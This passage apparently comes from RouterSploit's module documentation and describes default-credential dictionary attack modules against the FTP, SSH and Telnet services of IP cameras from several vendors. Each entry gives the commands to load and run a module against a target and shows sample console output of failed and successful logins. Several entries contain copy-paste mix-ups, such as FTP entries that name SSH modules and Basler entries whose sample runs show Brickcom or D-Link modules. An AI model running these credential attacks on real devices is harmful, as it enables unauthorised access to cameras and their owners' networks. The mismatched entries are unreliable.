[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Avtech Ssh Default Creds (`docs/modules/creds/cameras/avtech/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Avtech Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/avtech/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/avtech/ssh_default_creds
rsf (Avtech Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Avtech Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Avtech Telnet Default Creds (`docs/modules/creds/cameras/avtech/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Avtech Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/avtech/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/avtech/telnet_default_creds
rsf (Avtech Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Avtech Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Axis Ftp Default Creds (`docs/modules/creds/cameras/axis/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Axis Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/axis/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/axis/ftp_default_creds
rsf (Axis Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Axis Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Axis Ssh Default Creds (`docs/modules/creds/cameras/axis/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Axis Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/axis/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/axis/ssh_default_creds
rsf (Axis Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Axis Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Axis Telnet Default Creds (`docs/modules/creds/cameras/axis/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Axis Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/axis/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/axis/telnet_default_creds
rsf (Axis Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Axis Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Basler Ftp Default Creds (`docs/modules/creds/cameras/basler/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Basler Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/basler/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/basler/ftp_default_creds
rsf (Basler Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Basler Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Basler Ssh Default Creds (`docs/modules/creds/cameras/basler/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Basler Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/basler/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/brickcom/ssh_default_creds
rsf (Brickcom Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Brickcom Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Basler Telnet Default Creds (`docs/modules/creds/cameras/basler/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Basler Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/basler/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/dlink/telnet_default_creds
rsf (D-Link Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Brickcom Ftp Default Creds (`docs/modules/creds/cameras/brickcom/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Brickcom Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/brickcom/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/brickcom/ftp_default_creds
rsf (Brickcom Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Brickcom Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Brickcom Ssh Default Creds (`docs/modules/creds/cameras/brickcom/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Brickcom Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/brickcom/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/brickcom/ssh_default_creds
rsf (Brickcom Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Brickcom Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Brickcom Telnet Default Creds (`docs/modules/creds/cameras/brickcom/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Brickcom Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/brickcom/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/brickcom/telnet_default_creds
rsf (Brickcom Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Brickcom Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Canon Ftp Default Creds (`docs/modules/creds/cameras/canon/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Canon Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/canon/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/canon/ftp_default_creds
rsf (Canon Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Canon Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Canon Ssh Default Creds (`docs/modules/creds/cameras/canon/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Canon Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/canon/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/canon/ssh_default_creds
rsf (Canon Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Canon Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Canon Telnet Default Creds (`docs/modules/creds/cameras/canon/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Canon Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/canon/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/canon/telnet_default_creds
rsf (Canon Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Canon Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Cisco Ftp Default Creds (`docs/modules/creds/cameras/cisco/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Cisco Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/cisco/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/cisco/ftp_default_creds
rsf (Cisco Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Cisco Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Cisco Ssh Default Creds (`docs/modules/creds/cameras/cisco/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Cisco Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/cisco/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/cisco/ssh_default_creds
rsf (Cisco Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Cisco Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Cisco Telnet Default Creds (`docs/modules/creds/cameras/cisco/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Cisco Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/cisco/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/cisco/telnet_default_creds
rsf (Cisco Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Cisco Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Dlink Ftp Default Creds (`docs/modules/creds/cameras/dlink/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against D-Link Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/dlink/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/dlink/ftp_default_creds
rsf (D-Link Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Dlink Ssh Default Creds (`docs/modules/creds/cameras/dlink/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against D-Link Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/dlink/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/dlink/ssh_default_creds
rsf (D-Link Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Dlink Telnet Default Creds (`docs/modules/creds/cameras/dlink/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against D-Link Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/dlink/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/dlink/telnet_default_creds
rsf (D-Link Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Geovision Ftp Default Creds (`docs/modules/creds/cameras/geovision/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against GeoVision Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/geovision/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/geovision/ftp_default_creds
rsf (GeoVision Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (GeoVision Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Geovision Ssh Default Creds (`docs/modules/creds/cameras/geovision/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against GeoVision Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/geovision/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/geovision/ssh_default_creds
rsf (GeoVision Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (GeoVision Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Geovision Telnet Default Creds (`docs/modules/creds/cameras/geovision/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against GeoVision Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/geovision/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/geovision/telnet_default_creds
rsf (GeoVision Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (GeoVision Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Grandstream Ftp Default Creds (`docs/modules/creds/cameras/grandstream/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Grandstream Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/grandstream/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/grandstream/ftp_default_creds
rsf (Grandstream Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Grandstream Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Grandstream Ssh Default Creds (`docs/modules/creds/cameras/grandstream/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Grandstream Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/grandstream/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/grandstream/ssh_default_creds
rsf (Grandstream Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Grandstream Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Grandstream Telnet Default Creds (`docs/modules/creds/cameras/grandstream/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Grandstream Camera Telnet service.
If valid credentials are found, they are displayed to the user.

